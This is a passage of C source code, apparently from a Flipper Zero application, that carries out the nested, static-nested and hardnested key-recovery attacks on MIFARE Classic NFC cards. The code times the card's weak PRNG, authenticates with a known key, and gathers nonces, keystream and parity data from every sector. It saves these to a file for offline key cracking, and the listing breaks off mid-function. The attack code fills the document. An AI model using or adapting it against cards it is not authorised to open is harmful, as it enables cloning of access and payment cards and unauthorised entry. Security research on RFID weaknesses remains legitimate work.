| 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663 |
- #include "mifare_nested_worker_i.h"
- #include "lib/nested/nested.h"
- #include "lib/parity/parity.h"
- #include <lib/nfc/protocols/nfc_util.h>
- #include <storage/storage.h>
- #include <stream/stream.h>
- #include <stream/file_stream.h>
- #include "string.h"
- #include <furi.h>
- #include <furi_hal.h>
- #define TAG "MifareNestedWorker"
- // possible sum property values
- static uint16_t sums[] =
- {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256};
- void mifare_nested_worker_change_state(
- MifareNestedWorker* mifare_nested_worker,
- MifareNestedWorkerState state) {
- furi_assert(mifare_nested_worker);
- mifare_nested_worker->state = state;
- }
- MifareNestedWorker* mifare_nested_worker_alloc() {
- MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));
- // Worker thread attributes
- mifare_nested_worker->thread = furi_thread_alloc_ex(
- "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker);
- mifare_nested_worker->callback = NULL;
- mifare_nested_worker->context = NULL;
- mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
- return mifare_nested_worker;
- }
- void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {
- furi_assert(mifare_nested_worker);
- furi_thread_free(mifare_nested_worker->thread);
- free(mifare_nested_worker);
- }
- void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {
- furi_assert(mifare_nested_worker);
- mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);
- furi_thread_join(mifare_nested_worker->thread);
- }
- void mifare_nested_worker_start(
- MifareNestedWorker* mifare_nested_worker,
- MifareNestedWorkerState state,
- NfcDeviceData* dev_data,
- MifareNestedWorkerCallback callback,
- void* context) {
- furi_assert(mifare_nested_worker);
- furi_assert(dev_data);
- mifare_nested_worker->callback = callback;
- mifare_nested_worker->context = context;
- mifare_nested_worker->dev_data = dev_data;
- mifare_nested_worker_change_state(mifare_nested_worker, state);
- furi_thread_start(mifare_nested_worker->thread);
- }
- int32_t mifare_nested_worker_task(void* context) {
- MifareNestedWorker* mifare_nested_worker = context;
- if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
- mifare_nested_worker_check(mifare_nested_worker);
- } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
- mifare_nested_worker_collect_nonces_static(mifare_nested_worker);
- } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
- mifare_nested_worker_collect_nonces(mifare_nested_worker);
- } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
- mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
- } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
- mifare_nested_worker_check_keys(mifare_nested_worker);
- }
- mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
- return 0;
- }
- void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) {
- uint8_t* uid = data->uid;
- uint8_t uid_len = data->uid_len;
- for(size_t i = 0; i < uid_len; i++) {
- uint8_t uid_part = uid[i];
- furi_string_cat_printf(string, "%02X", uid_part);
- }
- }
- void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
- furi_string_set(file_path, EXT_PATH("nfc/.cache") "/");
- mifare_nested_worker_write_uid_string(data, file_path);
- furi_string_cat_printf(file_path, ".keys");
- }
- void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
- furi_string_set(file_path, NESTED_FOLDER "/");
- mifare_nested_worker_write_uid_string(data, file_path);
- furi_string_cat_printf(file_path, ".nonces");
- }
- void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
- furi_string_set(file_path, NESTED_FOLDER "/");
- mifare_nested_worker_write_uid_string(data, file_path);
- furi_string_cat_printf(file_path, ".keys");
- }
- void mifare_nested_worker_get_hardnested_folder_path(
- FuriHalNfcDevData* data,
- FuriString* file_path) {
- furi_string_set(file_path, NESTED_FOLDER "/");
- mifare_nested_worker_write_uid_string(data, file_path);
- }
- void mifare_nested_worker_get_hardnested_file_path(
- FuriHalNfcDevData* data,
- FuriString* file_path,
- uint8_t sector,
- uint8_t key_type) {
- mifare_nested_worker_get_hardnested_folder_path(data, file_path);
- furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
- }
- uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
- furi_assert(sector < 40);
- if(sector < 32) {
- return (sector * 4) + 3;
- } else {
- return 32 * 4 + (sector - 32) * 16 + 15;
- }
- }
- static MfClassicSectorTrailer*
- mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {
- return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]
- .value;
- }
- bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) {
- Storage* storage = furi_record_open(RECORD_STORAGE);
- FuriString* temp_str = furi_string_alloc();
- mifare_nested_worker_get_key_cache_file_path(data, temp_str);
- FlipperFormat* file = flipper_format_file_alloc(storage);
- bool load_success = false;
- uint32_t sector_count = 0;
- do {
- if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;
- if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;
- uint32_t version = 0;
- if(!flipper_format_read_header(file, temp_str, &version)) break;
- if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break;
- if(version != 1) break;
- if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break;
- if(!furi_string_cmp(temp_str, "1K")) {
- mf_data->type = MfClassicType1k;
- sector_count = 16;
- } else if(!furi_string_cmp(temp_str, "4K")) {
- mf_data->type = MfClassicType4k;
- sector_count = 40;
- } else if(!furi_string_cmp(temp_str, "MINI")) {
- mf_data->type = MfClassicTypeMini;
- sector_count = 5;
- } else {
- break;
- }
- if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break;
- if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break;
- bool key_read_success = true;
- for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {
- MfClassicSectorTrailer* sec_tr =
- mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);
- if(FURI_BIT(mf_data->key_a_mask, i)) {
- furi_string_printf(temp_str, "Key A sector %d", i);
- key_read_success = flipper_format_read_hex(
- file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);
- }
- if(!key_read_success) break;
- if(FURI_BIT(mf_data->key_b_mask, i)) {
- furi_string_printf(temp_str, "Key B sector %d", i);
- key_read_success = flipper_format_read_hex(
- file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);
- }
- }
- load_success = key_read_success;
- } while(false);
- furi_string_free(temp_str);
- flipper_format_free(file);
- return load_success;
- }
- bool hex_char_to_hex_nibble(char c, uint8_t* nibble) {
- if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
- if(c <= '9') {
- *nibble = c - '0';
- } else if(c <= 'F') {
- *nibble = c - 'A' + 10;
- } else {
- *nibble = c - 'a' + 10;
- }
- return true;
- } else {
- return false;
- }
- }
- bool hex_char_to_uint8(char hi, char low, uint8_t* value) {
- uint8_t hi_nibble_value, low_nibble_value;
- if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&
- hex_char_to_hex_nibble(low, &low_nibble_value)) {
- *value = (hi_nibble_value << 4) | low_nibble_value;
- return true;
- } else {
- return false;
- }
- }
- void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) {
- for(uint8_t sector = 0; sector < sector_count; sector++) {
- for(uint8_t key_type = 0; key_type < 2; key_type++) {
- for(uint8_t tries = 0; tries < tries_count; tries++) {
- free(nonces->nonces[sector][key_type][tries]);
- }
- }
- }
- }
- MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {
- UNUSED(ATQA1);
- if((ATQA0 == 0x44 || ATQA0 == 0x04)) {
- if((SAK == 0x08 || SAK == 0x88)) {
- return MfClassicType1k;
- } else if(SAK == 0x09) {
- return MfClassicTypeMini;
- }
- } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {
- //skylanders support
- return MfClassicType1k;
- } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {
- return MfClassicType4k;
- }
- return MfClassicType1k;
- }
- uint32_t mifare_nested_worker_predict_delay(
- FuriHalNfcTxRxContext* tx_rx,
- uint8_t blockNo,
- uint8_t keyType,
- uint64_t ui64Key,
- uint32_t tries,
- MifareNestedWorker* mifare_nested_worker) {
- uint32_t cuid = 0;
- Crypto1* crypto = malloc(sizeof(Crypto1));
- uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
- if(tries > 25) {
- free(crypto);
- return 2; // Too many tries, fallback to hardnested
- }
- // This part of attack is my attempt to implement it on Flipper.
- // Proxmark can do this in 2 fucking steps, but idk how.
- // First, we find RPNG rounds per 1000 us
- for(uint32_t rtr = 0; rtr < 25; rtr++) {
- if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
- free(crypto);
- return 1;
- }
- nfc_activate();
- if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
- mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
- furi_delay_us(rtr * 1000);
- mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
- // Searching for delay, where PRNG will be near 800
- uint32_t nttmp = prng_successor(nt1, 100);
- for(i = 101; i < 65565; i++) {
- nttmp = prng_successor(nttmp, 1);
- if(nttmp == nt2) break;
- }
- if(!rtr) {
- zero_prng_value = i;
- }
- if(previous && i > previous && i != 65565) {
- if(!prng_delay) {
- prng_delay = i - previous;
- } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {
- prng_delay += i - previous;
- prng_delay /= 2;
- }
- }
- previous = i;
- FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000);
- // Let's hope...
- if(i > 810 && i < 840) {
- free(crypto);
- return rtr * 1000;
- }
- }
- FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay);
- // Next, we try to calculate time until PRNG near 800 with more perfect timing
- // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles
- if(zero_prng_value == 65565) {
- free(crypto);
- // PRNG isn't pretictable
- return 1;
- }
- uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;
- uint32_t limit = 7;
- for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {
- for(uint32_t rtz = 0; rtz < 100; rtz++) {
- if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
- free(crypto);
- return 1;
- }
- nfc_activate();
- if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
- uint32_t delay = rtr * 1000 + rtz * 10;
- mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
- furi_delay_us(delay);
- mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
- // Searching for delay, where PRNG will be near 800
- uint32_t nttmp = prng_successor(nt1, 0);
- for(i = 1; i < 65565; i++) {
- nttmp = prng_successor(nttmp, 1);
- if(nttmp == nt2) break;
- }
- if(!(i > previous - 50 && i < previous + 50) && rtz) {
- repeat++;
- if(repeat < 5) {
- FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i);
- continue;
- }
- }
- if(i > 2000 && i < 65500) {
- uint32_t catch_cycles = (65565 - i) / prng_delay;
- if(catch_cycles > 2) {
- catch_cycles++;
- FURI_LOG_D(
- TAG,
- "Trying a more accurate value: skipping additional %lu us",
- catch_cycles * 1000);
- limit += catch_cycles + 2;
- rtr += catch_cycles;
- }
- }
- FURI_LOG_D(
- TAG,
- "Calibrating: ntdist=%lu, delay=%lu, max=%lu",
- i,
- delay,
- (cycles_to_reset + limit) * 1000);
- repeat = 0;
- previous = i;
- if(i > 810 && i < 840) {
- free(crypto);
- FURI_LOG_I(TAG, "Found delay: %lu us", delay);
- return delay;
- } else if(i > 840 && i < 40000) {
- FURI_LOG_D(TAG, "Trying again: timing lost");
- tries++;
- free(crypto);
- return mifare_nested_worker_predict_delay(
- tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
- }
- }
- }
- if(i > 1000 && i < 65000) {
- FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
- tries++;
- free(crypto);
- return mifare_nested_worker_predict_delay(
- tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
- }
- free(crypto);
- return 1;
- }
- void mifare_nested_worker_write_nonces(
- FuriHalNfcDevData* data,
- Storage* storage,
- NonceList_t* nonces,
- uint8_t tries_count,
- uint8_t free_tries_count,
- uint8_t sector_count,
- uint32_t delay,
- uint32_t distance) {
- FuriString* path = furi_string_alloc();
- Stream* file_stream = file_stream_alloc(storage);
- mifare_nested_worker_get_nonces_file_path(data, path);
- file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
- FuriString* header = furi_string_alloc_printf(
- "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
- NESTED_NONCE_FORMAT_VERSION,
- NESTED_RECOVER_KEYS_GITHUB_LINK);
- stream_write_string(file_stream, header);
- for(uint8_t tries = 0; tries < tries_count; tries++) {
- for(uint8_t sector = 0; sector < sector_count; sector++) {
- for(uint8_t key_type = 0; key_type < 2; key_type++) {
- if(nonces->nonces[sector][key_type][tries]->collected &&
- !nonces->nonces[sector][key_type][tries]->skipped) {
- if(nonces->nonces[sector][key_type][tries]->hardnested) {
- FuriString* path = furi_string_alloc();
- mifare_nested_worker_get_hardnested_file_path(
- data, path, sector, key_type);
- FuriString* str = furi_string_alloc_printf(
- "HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
- !key_type ? 'A' : 'B',
- nonces->cuid,
- furi_string_get_cstr(path),
- sector);
- stream_write_string(file_stream, str);
- furi_string_free(path);
- furi_string_free(str);
- } else {
- FuriString* str = furi_string_alloc_printf(
- "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
- for(uint8_t type = 0; type < 2; type++) {
- furi_string_cat_printf(
- str,
- " nt%u 0x%08lx ks%u 0x%08lx par%u ",
- type,
- nonces->nonces[sector][key_type][tries]->target_nt[type],
- type,
- nonces->nonces[sector][key_type][tries]->target_ks[type],
- type);
- uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
- for(uint8_t i = 0; i < 4; i++) {
- furi_string_cat_printf(str, "%u", par[i]);
- }
- }
- furi_string_cat_printf(str, " sec %u\n", sector);
- stream_write_string(file_stream, str);
- furi_string_free(str);
- }
- }
- }
- }
- }
- if(delay) {
- FuriString* str =
- furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance);
- stream_write_string(file_stream, str);
- furi_string_free(str);
- }
- free_nonces(nonces, sector_count, free_tries_count);
- furi_string_free(path);
- file_stream_close(file_stream);
- free(file_stream);
- furi_record_close(RECORD_STORAGE);
- }
- bool mifare_nested_worker_check_initial_keys(
- NonceList_t* nonces,
- MfClassicData* mf_data,
- uint8_t tries_count,
- uint8_t sector_count,
- uint64_t* key,
- uint32_t* key_block,
- uint32_t* found_key_type) {
- bool has_a_key, has_b_key;
- FuriHalNfcTxRxContext tx_rx = {};
- for(uint8_t sector = 0; sector < sector_count; sector++) {
- for(uint8_t key_type = 0; key_type < 2; key_type++) {
- for(uint8_t tries = 0; tries < tries_count; tries++) {
- Nonces* info = malloc(sizeof(Nonces));
- info->key_type = key_type;
- info->block = mifare_nested_worker_get_block_by_sector(sector);
- info->collected = false;
- info->skipped = true;
- nonces->nonces[sector][key_type][tries] = info;
- }
- }
- }
- for(uint8_t sector = 0; sector < sector_count; sector++) {
- MfClassicSectorTrailer* trailer =
- mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);
- has_a_key = FURI_BIT(mf_data->key_a_mask, sector);
- has_b_key = FURI_BIT(mf_data->key_b_mask, sector);
- if(has_a_key) {
- for(uint8_t tries = 0; tries < tries_count; tries++) {
- Nonces* info = nonces->nonces[sector][0][tries];
- info->collected = true;
- info->skipped = true;
- nonces->nonces[sector][0][tries] = info;
- }
- if(*key_block == 0) {
- uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);
- if(nested_check_key(
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==
- NestedCheckKeyValid) {
- *key = key_check;
- *key_block = mifare_nested_worker_get_block_by_sector(sector);
- *found_key_type = 0;
- }
- }
- }
- if(has_b_key) {
- for(uint8_t tries = 0; tries < tries_count; tries++) {
- Nonces* info = nonces->nonces[sector][1][tries];
- info->collected = true;
- info->skipped = true;
- nonces->nonces[sector][1][tries] = info;
- }
- if(*key_block == 0) {
- uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);
- if(nested_check_key(
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==
- NestedCheckKeyValid) {
- *key = key_check;
- *key_block = mifare_nested_worker_get_block_by_sector(sector);
- *found_key_type = 1;
- }
- }
- }
- }
- nonces->cuid = 0;
- nonces->hardnested_states = 0;
- nonces->sector_count = sector_count;
- nonces->tries = tries_count;
- return *key_block;
- }
- void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {
- while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
- FuriHalNfcTxRxContext tx_rx = {};
- NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
- MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
- FuriHalNfcDevData data = {};
- MifareNestedNonceType type = MifareNestedNonceNoTag;
- nested_get_data(&data);
- if(mifare_nested_worker_read_key_cache(&data, mf_data)) {
- for(uint8_t sector = 0; sector < 40; sector++) {
- if(FURI_BIT(mf_data->key_a_mask, sector) ||
- FURI_BIT(mf_data->key_b_mask, sector)) {
- type = nested_check_nonce_type(
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector));
- break;
- }
- }
- if(type == MifareNestedNonceNoTag) {
- type = nested_check_nonce_type(&tx_rx, 0);
- }
- } else {
- type = nested_check_nonce_type(&tx_rx, 0);
- }
- if(type == MifareNestedNonceStatic) {
- mifare_nested_worker->context->collecting_type =
- MifareNestedWorkerStateCollectingStatic;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
- break;
- } else if(type == MifareNestedNonceWeak) {
- mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
- break;
- } else if(type == MifareNestedNonceHard) {
- mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
- break;
- }
- furi_delay_ms(250);
- }
- nfc_deactivate();
- }
- void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {
- NonceList_t nonces;
- Storage* storage = furi_record_open(RECORD_STORAGE);
- NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
- MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
- FuriString* folder_path = furi_string_alloc();
- FuriHalNfcDevData data = {};
- nested_get_data(&data);
- MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
- uint64_t key = 0; // Found key for attack
- uint32_t found_key_type = 0;
- uint32_t key_block = 0;
- uint32_t sector_count = 0;
- FURI_LOG_I(TAG, "Running Static Nested attack");
- FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
- mifare_nested_worker_write_uid_string(&data, tag_info);
- FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
- furi_string_free(tag_info);
- if(type == MfClassicType4k) {
- sector_count = 40;
- FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
- } else if(type == MfClassicType1k) {
- sector_count = 16;
- FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
- } else { // if(type == MfClassicTypeMini)
- sector_count = 5;
- FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
- }
- furi_string_set(folder_path, NESTED_FOLDER);
- storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
- furi_string_free(folder_path);
- if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
- !mifare_nested_worker_check_initial_keys(
- &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
- nfc_deactivate();
- free(mf_data);
- free_nonces(&nonces, sector_count, 1);
- return;
- }
- FURI_LOG_I(
- TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
- while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
- FuriHalNfcTxRxContext tx_rx = {};
- for(uint8_t sector = 0; sector < sector_count; sector++) {
- for(uint8_t key_type = 0; key_type < 2; key_type++) {
- Nonces* info = nonces.nonces[sector][key_type][0];
- if(info->collected) {
- FURI_LOG_I(
- TAG,
- "Skipping sector %u, block %u, key_type: %u as we already have a key",
- sector,
- mifare_nested_worker_get_block_by_sector(sector),
- key_type);
- info->skipped = true;
- nonces.nonces[sector][key_type][0] = info;
- mifare_nested_worker->context->nonces = &nonces;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
- continue;
- }
- if(!nested_check_block(
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
- FURI_LOG_E(
- TAG,
- "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
- sector,
- mifare_nested_worker_get_block_by_sector(sector),
- key_type);
- info->skipped = true;
- nonces.nonces[sector][key_type][0] = info;
- mifare_nested_worker->context->nonces = &nonces;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
- continue;
- }
- while(!info->collected) {
- if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {
- break;
- }
- struct nonce_info_static result = nested_static_nonce_attack(
- &tx_rx,
- key_block,
- found_key_type,
- mifare_nested_worker_get_block_by_sector(sector),
- key_type,
- key);
- if(result.full) {
- FURI_LOG_I(
- TAG,
- "Accured nonces for sector %u, block %u, key_type: %u",
- sector,
- mifare_nested_worker_get_block_by_sector(sector),
- key_type);
- info = nonces.nonces[sector][key_type][0];
- info->collected = true;
- info->skipped = false;
- memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
- memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
- nonces.nonces[sector][key_type][0] = info;
- nonces.cuid = result.cuid;
- nonces.sector_count = sector_count;
- mifare_nested_worker->context->nonces = &nonces;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
- break;
- } else {
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
- }
- }
- }
- }
- break;
- }
- mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
- free(mf_data);
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
- nfc_deactivate();
- }
- void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
- NonceList_t nonces;
- Storage* storage = furi_record_open(RECORD_STORAGE);
- NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
- MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
- FuriString* folder_path = furi_string_alloc();
- FuriHalNfcDevData data = {};
- nested_get_data(&data);
- MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
- uint64_t key = 0; // Found key for attack
- uint32_t found_key_type = 0;
- uint32_t key_block = 0;
- uint32_t sector_count = 0;
- uint32_t cuid = 0;
- furi_hal_nfc_activate_nfca(200, &cuid);
- FURI_LOG_I(TAG, "Running Hard Nested attack");
- FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
- mifare_nested_worker_write_uid_string(&data, tag_info);
- FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
- furi_string_free(tag_info);
- if(type == MfClassicType4k) {
- sector_count = 40;
- FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
- } else if(type == MfClassicType1k) {
- sector_count = 16;
- FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
- } else { // if(type == MfClassicTypeMini)
- sector_count = 5;
- FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
- }
- furi_string_set(folder_path, NESTED_FOLDER);
- storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
- mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
- storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
- furi_string_free(folder_path);
- if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
- !mifare_nested_worker_check_initial_keys(
- &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
- nfc_deactivate();
- free(mf_data);
- free_nonces(&nonces, sector_count, 1);
- return;
- }
- FURI_LOG_I(
- TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
- FuriHalNfcTxRxContext tx_rx = {};
- nonces.tries = 1;
- nonces.hardnested_states = 0;
- nonces.sector_count = sector_count;
- mifare_nested_worker->context->nonces = &nonces;
- mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
- mifare_nested_worker->callback(
- MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
